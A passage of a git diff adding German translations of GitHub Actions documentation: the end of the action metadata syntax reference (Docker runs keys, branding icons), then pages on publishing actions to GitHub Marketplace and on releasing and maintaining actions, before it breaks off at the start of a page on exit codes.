+    - uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675
+    # Reference the major version of a release
+    - uses: {% data reusables.actions.action-checkout %}
+    # Reference a specific version
+    - uses: {% data reusables.actions.action-checkout %}.2.0
+    # Reference a branch
+    - uses: actions/checkout@main
+    # References a subdirectory in a public GitHub repository at a specific branch, ref, or SHA
+    - uses: actions/aws/ec2@main
+    # References a local action
+    - uses: ./.github/actions/my-action
+    # References a docker public registry action
+    - uses: docker://gcr.io/cloud-builders/gradle
+    # Reference a docker image published on docker hub
+    - uses: docker://alpine:3.8
+```
+
+#### `runs.steps[*].with`
+
+**Optional**  A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. For more information, see [Example: Specifying inputs](#example-specifying-inputs).
+
+```yaml
+runs:
+  using: "composite"
+  steps:
+    - name: My first step
+      uses: actions/hello_world@main
+      with:
+        first_name: Mona
+        middle_name: The
+        last_name: Octocat
+```
+
+{% ifversion ghes > 3.5 or ghae > 3.5 %}
+
+#### `runs.steps[*].continue-on-error`
+
+**Optional**  Prevents the action from failing when a step fails. Set to `true` to allow the action to pass when this step fails.
+
+{% endif %}
+
+## `runs` for Docker container actions
+
+**Required** Configures the image used for the Docker container action.
+
+### Example: Using a Dockerfile in your repository
+
+```yaml
+runs:
+  using: 'docker'
+  image: 'Dockerfile'
+```
+
+### Example: Using public Docker registry container
+
+```yaml
+runs:
+  using: 'docker'
+  image: 'docker://debian:stretch-slim'
+```
+
+### `runs.using`
+
+**Required** You must set this value to `'docker'`.
+
+### `runs.pre-entrypoint`
+
+**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if).
+
+The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+
+In this example, the `pre-entrypoint:` action runs a script called `setup.sh`:
+
+```yaml
+runs:
+  using: 'docker'
+  image: 'Dockerfile'
+  args:
+    - 'bzz'
+  pre-entrypoint: 'setup.sh'
+  entrypoint: 'main.sh'
+```
+
+### `runs.image`
+
+**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file.
+
+### `runs.env`
+
+**Optional** Specifies a key/value map of environment variables to set in the container environment.
+
+### `runs.entrypoint`
+
+**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction.
+
+For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)."
+
+### `runs.post-entrypoint`
+
+**Optional**  Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because  {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`runs.post-if`](#runspost-if).
+
+```yaml
+runs:
+  using: 'docker'
+  image: 'Dockerfile'
+  args:
+    - 'bzz'
+  entrypoint: 'main.sh'
+  post-entrypoint: 'cleanup.sh'
+```
+
+### `runs.args`
+
+**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up.
+
+The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+
+{% data reusables.actions.dockerfile-guidelines %}
+
+If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell.
+
+For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)."
+
+#### Example: Defining arguments for the Docker container
+
+{% raw %}
+```yaml
+runs:
+  using: 'docker'
+  image: 'Dockerfile'
+  args:
+    - ${{ inputs.greeting }}
+    - 'foo'
+    - 'bar'
+```
+{% endraw %}
+
+## `branding`
+
+**Optional** You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
+
+### Example: Configuring branding for an action
+
+```yaml
+branding:
+  icon: 'award'
+  color: 'green'
+```
+
+### `branding.color`
+
+The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`.
+
+### `branding.icon`
+
+The name of the v4.28.0 [Feather](https://feathericons.com/) icon to use. Brand icons are omitted as well as the following:
+
+<table>
+<tr>
+<td>coffee</td>
+<td>columns</td>
+<td>divide-circle</td>
+<td>divide-square</td>
+</tr>
+<tr>
+<td>divide</td>
+<td>frown</td>
+<td>hexagon</td>
+<td>key</td>
+</tr>
+<tr>
+<td>meh</td>
+<td>mouse-pointer</td>
+<td>smile</td>
+<td>tool</td>
+</tr>
+<tr>
+<td>x-octagon</td>
+<td></td>
+<td></td>
+<td></td>
+</tr>
+</table>
+
+Here is an exhaustive list of all currently supported icons:
+
+<!--
+  This table should match the icon list in `app/models/repository_actions/icons.rb` in the internal github repo.
+  To support a new icon, update `app/models/repository_actions/icons.rb` and add the svg to `/static/images/icons/feather` in the internal github repo.
+-->
+
+<table>
+<tr>
+<td>activity</td>
+<td>airplay</td>
+<td>alert-circle</td>
+<td>alert-octagon</td>
+</tr>
+<tr>
+<td>alert-triangle</td>
+<td>align-center</td>
+<td>align-justify</td>
+<td>align-left</td>
+</tr>
+<tr>
+<td>align-right</td>
+<td>anchor</td>
+<td>aperture</td>
+<td>archive</td>
+</tr>
+<tr>
+<td>arrow-down-circle</td>
+<td>arrow-down-left</td>
+<td>arrow-down-right</td>
+<td>arrow-down</td>
+</tr>
+<tr>
+<td>arrow-left-circle</td>
+<td>arrow-left</td>
+<td>arrow-right-circle</td>
+<td>arrow-right</td>
+</tr>
+<tr>
+<td>arrow-up-circle</td>
+<td>arrow-up-left</td>
+<td>arrow-up-right</td>
+<td>arrow-up</td>
+</tr>
+<tr>
+<td>at-sign</td>
+<td>award</td>
+<td>bar-chart-2</td>
+<td>bar-chart</td>
+</tr>
+<tr>
+<td>battery-charging</td>
+<td>battery</td>
+<td>bell-off</td>
+<td>bell</td>
+</tr>
+<tr>
+<td>bluetooth</td>
+<td>bold</td>
+<td>book-open</td>
+<td>book</td>
+</tr>
+<tr>
+<td>bookmark</td>
+<td>box</td>
+<td>briefcase</td>
+<td>calendar</td>
+</tr>
+<tr>
+<td>camera-off</td>
+<td>camera</td>
+<td>cast</td>
+<td>check-circle</td>
+</tr>
+<tr>
+<td>check-square</td>
+<td>check</td>
+<td>chevron-down</td>
+<td>chevron-left</td>
+</tr>
+<tr>
+<td>chevron-right</td>
+<td>chevron-up</td>
+<td>chevrons-down</td>
+<td>chevrons-left</td>
+</tr>
+<tr>
+<td>chevrons-right</td>
+<td>chevrons-up</td>
+<td>circle</td>
+<td>clipboard</td>
+</tr>
+<tr>
+<td>clock</td>
+<td>cloud-drizzle</td>
+<td>cloud-lightning</td>
+<td>cloud-off</td>
+</tr>
+<tr>
+<td>cloud-rain</td>
+<td>cloud-snow</td>
+<td>cloud</td>
+<td>code</td>
+</tr>
+<tr>
+<td>command</td>
+<td>compass</td>
+<td>copy</td>
+<td>corner-down-left</td>
+</tr>
+<tr>
+<td>corner-down-right</td>
+<td>corner-left-down</td>
+<td>corner-left-up</td>
+<td>corner-right-down</td>
+</tr>
+<tr>
+<td>corner-right-up</td>
+<td>corner-up-left</td>
+<td>corner-up-right</td>
+<td>cpu</td>
+</tr>
+<tr>
+<td>credit-card</td>
+<td>crop</td>
+<td>crosshair</td>
+<td>database</td>
+</tr>
+<tr>
+<td>delete</td>
+<td>disc</td>
+<td>dollar-sign</td>
+<td>download-cloud</td>
+</tr>
+<tr>
+<td>download</td>
+<td>droplet</td>
+<td>edit-2</td>
+<td>edit-3</td>
+</tr>
+<tr>
+<td>edit</td>
+<td>external-link</td>
+<td>eye-off</td>
+<td>eye</td>
+</tr>
+<tr>
+<td>fast-forward</td>
+<td>feather</td>
+<td>file-minus</td>
+<td>file-plus</td>
+</tr>
+<tr>
+<td>file-text</td>
+<td>file</td>
+<td>film</td>
+<td>filter</td>
+</tr>
+<tr>
+<td>flag</td>
+<td>folder-minus</td>
+<td>folder-plus</td>
+<td>folder</td>
+</tr>
+<tr>
+<td>gift</td>
+<td>git-branch</td>
+<td>git-commit</td>
+<td>git-merge</td>
+</tr>
+<tr>
+<td>git-pull-request</td>
+<td>globe</td>
+<td>grid</td>
+<td>hard-drive</td>
+</tr>
+<tr>
+<td>hash</td>
+<td>headphones</td>
+<td>heart</td>
+<td>help-circle</td>
+</tr>
+<tr>
+<td>home</td>
+<td>image</td>
+<td>inbox</td>
+<td>info</td>
+</tr>
+<tr>
+<td>italic</td>
+<td>layers</td>
+<td>layout</td>
+<td>life-buoy</td>
+</tr>
+<tr>
+<td>link-2</td>
+<td>link</td>
+<td>list</td>
+<td>loader</td>
+</tr>
+<tr>
+<td>lock</td>
+<td>log-in</td>
+<td>log-out</td>
+<td>mail</td>
+</tr>
+<tr>
+<td>map-pin</td>
+<td>map</td>
+<td>maximize-2</td>
+<td>maximize</td>
+</tr>
+<tr>
+<td>menu</td>
+<td>message-circle</td>
+<td>message-square</td>
+<td>mic-off</td>
+</tr>
+<tr>
+<td>mic</td>
+<td>minimize-2</td>
+<td>minimize</td>
+<td>minus-circle</td>
+</tr>
+<tr>
+<td>minus-square</td>
+<td>minus</td>
+<td>monitor</td>
+<td>moon</td>
+</tr>
+<tr>
+<td>more-horizontal</td>
+<td>more-vertical</td>
+<td>move</td>
+<td>music</td>
+</tr>
+<tr>
+<td>navigation-2</td>
+<td>navigation</td>
+<td>octagon</td>
+<td>package</td>
+</tr>
+<tr>
+<td>paperclip</td>
+<td>pause-circle</td>
+<td>pause</td>
+<td>percent</td>
+</tr>
+<tr>
+<td>phone-call</td>
+<td>phone-forwarded</td>
+<td>phone-incoming</td>
+<td>phone-missed</td>
+</tr>
+<tr>
+<td>phone-off</td>
+<td>phone-outgoing</td>
+<td>phone</td>
+<td>pie-chart</td>
+</tr>
+<tr>
+<td>play-circle</td>
+<td>play</td>
+<td>plus-circle</td>
+<td>plus-square</td>
+</tr>
+<tr>
+<td>plus</td>
+<td>pocket</td>
+<td>power</td>
+<td>printer</td>
+</tr>
+<tr>
+<td>radio</td>
+<td>refresh-ccw</td>
+<td>refresh-cw</td>
+<td>repeat</td>
+</tr>
+<tr>
+<td>rewind</td>
+<td>rotate-ccw</td>
+<td>rotate-cw</td>
+<td>rss</td>
+</tr>
+<tr>
+<td>save</td>
+<td>scissors</td>
+<td>search</td>
+<td>send</td>
+</tr>
+<tr>
+<td>server</td>
+<td>settings</td>
+<td>share-2</td>
+<td>share</td>
+</tr>
+<tr>
+<td>shield-off</td>
+<td>shield</td>
+<td>shopping-bag</td>
+<td>shopping-cart</td>
+</tr>
+<tr>
+<td>shuffle</td>
+<td>sidebar</td>
+<td>skip-back</td>
+<td>skip-forward</td>
+</tr>
+<tr>
+<td>slash</td>
+<td>sliders</td>
+<td>smartphone</td>
+<td>speaker</td>
+</tr>
+<tr>
+<td>square</td>
+<td>star</td>
+<td>stop-circle</td>
+<td>sun</td>
+</tr>
+<tr>
+<td>sunrise</td>
+<td>sunset</td>
+<td>tablet</td>
+<td>tag</td>
+</tr>
+<tr>
+<td>target</td>
+<td>terminal</td>
+<td>thermometer</td>
+<td>thumbs-down</td>
+</tr>
+<tr>
+<td>thumbs-up</td>
+<td>toggle-left</td>
+<td>toggle-right</td>
+<td>trash-2</td>
+</tr>
+<tr>
+<td>trash</td>
+<td>trending-down</td>
+<td>trending-up</td>
+<td>triangle</td>
+</tr>
+<tr>
+<td>truck</td>
+<td>tv</td>
+<td>type</td>
+<td>umbrella</td>
+</tr>
+<tr>
+<td>underline</td>
+<td>unlock</td>
+<td>upload-cloud</td>
+<td>upload</td>
+</tr>
+<tr>
+<td>user-check</td>
+<td>user-minus</td>
+<td>user-plus</td>
+<td>user-x</td>
+</tr>
+<tr>
+<td>user</td>
+<td>users</td>
+<td>video-off</td>
+<td>video</td>
+</tr>
+<tr>
+<td>voicemail</td>
+<td>volume-1</td>
+<td>volume-2</td>
+<td>volume-x</td>
+</tr>
+<tr>
+<td>volume</td>
+<td>watch</td>
+<td>wifi-off</td>
+<td>wifi</td>
+</tr>
+<tr>
+<td>wind</td>
+<td>x-circle</td>
+<td>x-square</td>
+<td>x</td>
+</tr>
+<tr>
+<td>zap-off</td>
+<td>zap</td>
+<td>zoom-in</td>
+<td>zoom-out</td>
+</tr>
+</table>
diff --git a/translations/de-DE/content/actions/creating-actions/publishing-actions-in-github-marketplace.md b/translations/de-DE/content/actions/creating-actions/publishing-actions-in-github-marketplace.md
new file mode 100644
index 0000000000..95ea2f81e3
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/publishing-actions-in-github-marketplace.md
@@ -0,0 +1,72 @@
+---
+title: Aktionen auf dem GitHub-Marktplatz veröffentlichen
+intro: 'Du kannst Aktionen auf dem {% data variables.product.prodname_marketplace %} veröffentlichen und der {% data variables.product.prodname_dotcom %}-Community zur Verfügung stellen.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace
+  - /actions/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace
+  - /actions/building-actions/publishing-actions-in-github-marketplace
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+shortTitle: Publish in GitHub Marketplace
+ms.openlocfilehash: e16f65116d7aa7c327e937dc2eba8964195e547d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884301'
+---
+You must accept the terms of service to publish actions in {% data variables.product.prodname_marketplace %}.
+
+## Informationen zum Veröffentlichen von Aktionen
+
+Bevor du eine Aktion veröffentlichen kannst, musst du eine Aktion in deinem Repository erstellen. Weitere Informationen findest du unter [Erstellen von Aktionen](/actions/creating-actions).
+
+Wenn du vorhast, deine Aktion auf dem {% data variables.product.prodname_marketplace %} zu veröffentlichen, musst du sicherstellen, dass das Repository nur die Metadatendatei, den Code und die anderen Dateien enthält, die für die Aktion notwendig sind. Wenn du ein einzelnes Repository für die Aktion erstellst, kannst du den Code in einer einzelnen Einheit markieren, veröffentlichen und packen. {% data variables.product.prodname_dotcom %} verwendet auch die Metadaten der Aktion auf deiner {% data variables.product.prodname_marketplace %}-Seite.
+
+Aktionen werden ohne Überprüfung durch {% data variables.product.prodname_dotcom %} sofort auf dem {% data variables.product.prodname_marketplace %} veröffentlicht, sofern sie folgende Anforderungen erfüllen:
+
+- Die Aktion muss sich in einem öffentlichen Repository befinden.
+- Jedes Repository muss eine einzelne Aktion enthalten.
+- Die Metadatendatei der Aktion (`action.yml` oder `action.yaml`) muss sich im Stammverzeichnis des Repositorys befinden.
+- Der `name` in der Metadatendatei der Aktion muss eindeutig sein.
+  - Der `name` darf mit keinem vorhandenen Aktionsnamen übereinstimmen, der auf dem {% data variables.product.prodname_marketplace %} veröffentlicht wurde.
+  - Der `name` darf nicht mit einem Benutzer oder einer Organisation auf {% data variables.product.prodname_dotcom %} übereinstimmen, es sei denn, dieser Benutzer oder Organisationsinhaber veröffentlicht die Aktion. Beispielsweise kann nur die {% data variables.product.prodname_dotcom %}-Organisation eine Aktion namens `github` veröffentlichen.
+  - Der `name` darf nicht mit einer vorhandenen {% data variables.product.prodname_marketplace %}-Kategorie übereinstimmen.
+  - {% data variables.product.prodname_dotcom %} behält sich die Namen von {% data variables.product.prodname_dotcom %}-Funktionen vor.
+
+## Publishing an action (Veröffentlichen einer Aktion)
+
+Du kannst die von Dir erstellte Aktion auf den {% data variables.product.prodname_marketplace %} stellen, indem du sie als neue Version markierst und publizierst.
+
+Um ein neues Release zu entwerfen und die Aktion auf dem {% data variables.product.prodname_marketplace %} zu veröffentlichen, folge diesen Anweisungen:
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Navigiere zu der Aktionsmetadatendatei in deinem Repository (`action.yml` oder `action.yaml`). Dir wird ein Banner zum Veröffentlichen der Aktion auf dem {% data variables.product.prodname_marketplace %} angezeigt. Klicke auf **Entwerfen eines Release**.
+
+   ![Schaltfläche zum Veröffentlichen dieser Aktion auf dem Marketplace](/assets/images/help/repository/publish-github-action-to-marketplace-button.png)
+1. Wähle unter „Releaseaktion“ das Kontrollkästchen zum Veröffentlichen der Aktion auf dem {% data variables.product.prodname_marketplace %} aus. Wenn du das Kontrollkästchen nicht auswählen kannst, musst du zuerst auf den Link klicken, um den {% data variables.product.prodname_marketplace %}-Entwicklervertrag zu lesen und zu akzeptieren.
+![Auswählen von „Auf dem Marketplace veröffentlichen“](/assets/images/help/repository/marketplace_actions_publish.png)
+1. Wenn die Bezeichnungen in deiner Metadaten-Datei irgendwelche Probleme verursachen, wird Dir eine Fehlermeldung angezeigt.
+![Benachrichtigungsanzeige](/assets/images/help/repository/marketplace_actions_fixerrors.png)
+1. Wenn Vorschläge auf dem Bildschirm angezeigt werden, setze diese um, indemDu deine Metadaten-Datei aktualisierst. Wenn du fertig bist, wird eine Nachricht mit dem Inhalt „Alles sieht gut aus“ angezeigt. Meldung.
+![Beheben von Fehlern](/assets/images/help/repository/marketplace_actions_looksgood.png)
+1. Wähle eine „Hauptkategorie“ und optional eine „Weitere Kategorie“ aus, die anderen hilft, deine Aktion im {% data variables.product.prodname_marketplace %} zu finden.
+![Auswählen einer Kategorie](/assets/images/help/repository/marketplace_actions_categories.png)
+1. Tagge eine Aktion mit einer Version und füge einen Titel für das Release hinzu. Dies zeigt den Leuten, welche Änderungen oder Funktionen das Release umfasst. Die Leute werden die Version auf der dedizierten {% data variables.product.prodname_marketplace %}-Seite der Aktion sehen.
+![Markieren einer Version](/assets/images/help/repository/marketplace_actions_version.png)
+1. Fülle alle anderen Felder aus, und klicke auf **Release veröffentlichen**. Zum Veröffentlichen brauchst du die Zwei-Faktor-Authentifizierung. Weitere Informationen findest du unter [Konfigurieren der zweistufigen Authentifizierung](/articles/configuring-two-factor-authentication/).
+![Veröffentlichen des Release](/assets/images/help/repository/marketplace_actions_publishrelease.png)
+
+## Eine Aktion vom {% data variables.product.prodname_marketplace %} entfernen
+
+Um eine veröffentlichte Aktion vom {% data variables.product.prodname_marketplace %} zu entfernen, musst du jedes veröffentlichte Release aktualisieren. Führe die folgenden Schritte für jedes auf dem {% data variables.product.prodname_marketplace %} veröffentlichte Release der Aktion aus.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %}
+3. Klicke auf der Seite „Releases“ rechts neben dem Release, das du bearbeiten möchtest, auf **Bearbeiten**.
+![Schaltfläche zum Bearbeiten des Release](/assets/images/help/releases/release-edit-btn.png)
+4. Wähle **Diese Aktion auf dem {% data variables.product.prodname_marketplace %} veröffentlichen** aus, um das Häkchen zu entfernen.
+![Schaltfläche zum Veröffentlichen dieser Aktion](/assets/images/help/repository/actions-marketplace-unpublish.png)
+5. Klicke unten auf der Seite auf **Release aktualisieren**.
+![Schaltfläche zum Aktualisieren des Release](/assets/images/help/repository/actions-marketplace-update-release.png)
diff --git a/translations/de-DE/content/actions/creating-actions/releasing-and-maintaining-actions.md b/translations/de-DE/content/actions/creating-actions/releasing-and-maintaining-actions.md
new file mode 100644
index 0000000000..45974dcf66
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/releasing-and-maintaining-actions.md
@@ -0,0 +1,100 @@
+---
+title: Freigeben und Verwalten von Aktionen
+shortTitle: Releasing and maintaining actions
+intro: 'Du kannst Automatisierung und bewährte Open-Source-Methoden nutzen, um Aktionen zu veröffentlichen und zu verwalten.'
+type: tutorial
+topics:
+  - Action development
+  - Actions
+  - Community
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+ms.openlocfilehash: 563a63a3af79c75c6912777c1c3f0ecdace6403e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068787'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Nachdem du eine Aktion erstellt hast, möchtest du weiterhin neue Features veröffentlichen, während du mit Communitybeiträgen arbeitest. In diesem Tutorial wird ein Beispielprozess beschrieben, den du zum Freigeben und Verwalten von Aktionen in Open Source befolgen kannst. Beispiel:
+
+* Nutzen von {% data variables.product.prodname_actions %} für Continuous Integration, Abhängigkeitsupdates, Releaseverwaltung und Aufgabenautomatisierung
+* Schaffen von Vertrauen durch automatisierte Tests und Buildbadges
+* Angeben der Einsatzmöglichkeiten der Aktion, idealerweise als Teil eines breiteren Workflows
+* Signalisieren der gewünschten Art von Communitybeiträgen (Beispiele: Issues, Pull Requests oder Sicherheitsrisikoberichte)
+
+Ein Anwendungsbeispiel für diesen Prozess findest du unter [github-developer/javascript-action](https://github.com/github-developer/javascript-action).
+
+## Entwickeln und Freigeben von Aktionen
+
+In diesem Abschnitt diskutieren wir einen Beispielprozess zum Entwickeln und Freigeben von Aktionen und zeigen, wie {% data variables.product.prodname_actions %} zum Automatisieren des Prozesses verwendet wird.
+
+### Informationen zu JavaScript-Aktionen
+
+JavaScript-Aktionen sind Node.js-Repositorys mit Metadaten. Im Vergleich zu herkömmlichen Node.js-Projekten weisen JavaScript-Aktionen jedoch zusätzliche Eigenschaften auf:
+
+* Abhängige Pakete werden zusammen mit dem Code committet, in der Regel in einem kompilierten und minimierten Format. Dies bedeutet, dass automatisierte Builds und sichere Communitybeiträge wichtig sind.
+
+{% ifversion fpt or ghec %}
+
+* Versionen mit Tags können direkt im {% data variables.product.prodname_marketplace %} veröffentlicht und von Workflows in {% data variables.product.prodname_dotcom %} verwendet werden.
+
+{% endif %}
+
+* Viele Aktionen nutzen {% data variables.product.prodname_dotcom %}-APIs und APIs von Drittanbietern, daher empfehlen wir gründliche End-to-End-Tests.
+
+### Einrichten von {% data variables.product.prodname_actions %}-Workflows
+
+Um den Entwicklerprozess im nächsten Abschnitt zu unterstützen, füge deinem Repository zwei {% data variables.product.prodname_actions %}-Workflows hinzu:
+
+1. Füge einen Workflow hinzu, der ausgelöst wird, wenn ein Commit an einen Featurebranch oder an `main` gepusht oder wenn ein Pull Request erstellt wird. Konfiguriere den Workflow, um deine Komponenten- und Integrationstests auszuführen. Sieh dir beispielsweise [diesen Workflow](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/test.yml) an.
+2. Füge einen Workflow hinzu, der ausgelöst wird, wenn ein Release veröffentlicht oder bearbeitet wird. Konfiguriere den Workflow, um sicherzustellen, dass semantische Tags vorhanden sind. Du kannst eine Aktion wie [JasonEtco/build-and-tag-action](https://github.com/JasonEtco/build-and-tag-action) verwenden, um die JavaScript- und Metadatendatei zu kompilieren und als Paket zu erstellen und die Pushübertragung semantischer Haupt-, Neben- und Patchtags zu erzwingen. Sieh dir beispielsweise [diesen Workflow](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/publish.yml) an. Weitere Informationen zu semantischen Tags findest du unter [Informationen zur semantischen Versionsverwaltung](https://docs.npmjs.com/about-semantic-versioning).
+
+### Beispielentwicklerprozess
+
+Nachfolgend findest du einen Beispielprozess, mit dem du Tests automatisch ausführen, ein Release erstellen{% ifversion fpt or ghec%}, im {% data variables.product.prodname_marketplace %} veröffentlichen{% endif %} und deine Aktion veröffentlichen kannst.
+
+1. Führe Featurearbeit in Branches über einen GitHub-Flow aus. Weitere Informationen findest du unter [GitHub-Flow](/get-started/quickstart/github-flow).
+   * Wenn ein Commit an den Featurebranch gepusht wird, führt dein Testworkflow die Tests automatisch aus.
+
+2. Erstelle Pull Requests an den `main`-Branch, um Diskussionen und Reviews zu initiieren. Bei Bereitschaft wird ein Mergevorgang durchgeführt.
+
+   * Wenn ein Pull Request aus einem Branch oder einem Fork geöffnet wird, führt der Testworkflow die Tests erneut aus, dieses Mal mit dem Mergecommit.
+
+   * **Hinweis**: Aus Sicherheitsgründen verfügen Workflows, die über `pull_request` aus Forks ausgelöst werden, über eingeschränkte `GITHUB_TOKEN`-Berechtigungen und können nicht auf Geheimnisse zugreifen. Wenn deine Tests oder andere Workflows, die nach einem Pull Request ausgelöst werden, Zugriff auf Geheimnisse erfordern, solltest du ein anderes Ereignis wie beispielsweise einen [manuellen Trigger](/actions/reference/events-that-trigger-workflows#manual-events) oder ein [`pull_request_target`](/actions/reference/events-that-trigger-workflows#pull_request_target) verwenden. Weitere Informationen finden Sie [hier](/actions/reference/events-that-trigger-workflows#pull-request-events-for-forked-repositories).
+
+3. Erstelle eine Version mit semantischen Tags. {% ifversion fpt or ghec %} Du kannst auch mit einem einfachen Kontrollkästchen auf dem {% data variables.product.prodname_marketplace %} veröffentlichen. {% endif %} Weitere Informationen findest du unter [Verwalten von Releases in einem Repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release){% ifversion fpt or ghec %} und unter [Veröffentlichen von Aktionen im {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action){% endif %}.
+
+   * Wenn ein Release veröffentlicht oder bearbeitet wird, übernimmt dein Releaseworkflow automatisch die Kompilierung und Anpassung von Tags.
+
+   * Es wird empfohlen, Releases mithilfe von semantischen Versionstags (z. B. `v1.1.3`) zu erstellen und Tags von Hauptversionen (`v1`) und Nebenversionen (`v1.1`) mit dem neuesten entsprechenden Commit auf dem neuesten Stand zu halten. Weitere Informationen findest du unter [Informationen zu benutzerdefinierten Aktionen](/actions/creating-actions/about-custom-actions#using-release-management-for-actions) und unter [Informationen zur semantischen Versionsverwaltung](https://docs.npmjs.com/about-semantic-versioning).
+
+### Ergebnisse
+
+Im Gegensatz zu einigen anderen Strategien zur automatisierten Releaseverwaltung committet dieser Prozess absichtlich keine Abhängigkeiten an den `main`-Branch, sondern nur an die mit Tags versehenen Releasecommits. Dadurch werden Benutzer deiner Aktion dazu veranlasst, auf benannte Tags oder `sha`s zu verweisen, und du stellst die Sicherheit der Pull Requests von Drittanbietern sicher, indem du den Build während eines Release selbst erstellst.
+
+Mit semantischen Releases können die Benutzer deiner Aktionen ihre Workflows an eine Version anheften und wissen, dass sie je nach Komfortniveau weiterhin die neuesten stabilen Features ohne Breaking Changes erhalten:
+
+## Arbeiten mit der Community
+
+{% data variables.product.product_name %} bietet Tools und Anleitungen, die dich bei der Arbeit mit der Open-Source-Community unterstützen. Die folgenden Tools werden für eine solide bidirektionale Kommunikation empfohlen. Indem du der Community die folgenden Signale bereitstellst, ermutigst du andere, deine Aktion zu verwenden, zu ändern und dazu beizutragen:
+
+* Führe eine `README`-Datei mit zahlreichen Verwendungsbeispielen und Anleitungen. Weitere Informationen findest du unter [Informationen zu README-Dateien](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes).
+* Füge ein Workflowstatusbadge in deine `README`-Datei ein. Weitere Informationen findest du unter [Hinzufügen eines Workflowstatusbadges](/actions/managing-workflow-runs/adding-a-workflow-status-badge). Besuche auch [shields.io](https://shields.io/), um Informationen zu weiteren Badges zu erhalten, die hinzugefügt werden können.{% ifversion fpt or ghec %}
+* Füge Community-Unterstützungsdateien wie `CODE_OF_CONDUCT`, `CONTRIBUTING` und `SECURITY` hinzu. Weitere Informationen findest du unter [Erstellen einer Standarddatei zur Unterstützung der Community](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types).{% endif %}
+* Halte Issues auf dem neuesten Stand, indem du Aktionen wie [actions/stale](https://github.com/actions/stale) verwendest.
+
+## Weitere Informationsquellen
+
+Beispiele für die Verwendung ähnlicher Muster:
+
+* [github/super-linter](https://github.com/github/super-linter)
+* [octokit/request-action](https://github.com/octokit/request-action)
+* [github-developer/javascript-action](https://github.com/github-developer/javascript-action)
diff --git a/translations/de-DE/content/actions/creating-actions/setting-exit-codes-for-actions.md b/translations/de-DE/content/actions/creating-actions/setting-exit-codes-for-actions.md
new file mode 100644
index 0000000000..845c13d34d
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/setting-exit-codes-for-actions.md
@@ -0,0 +1,56 @@
+---
+title: Setting exit codes for actions (Festlegen von Exitcodes für Aktionen)
+shortTitle: Set exit codes
+intro: 'Du kannst mittels Exitcodes den Status einer Aktion festlegen. {% data variables.product.prodname_dotcom %} zeigt Status, um erfolgreiche oder fehlgeschlagene Aktionen kenntlich zu machen.'
+redirect_from:
+  - /actions/building-actions/setting-exit-codes-for-actions
+versions:
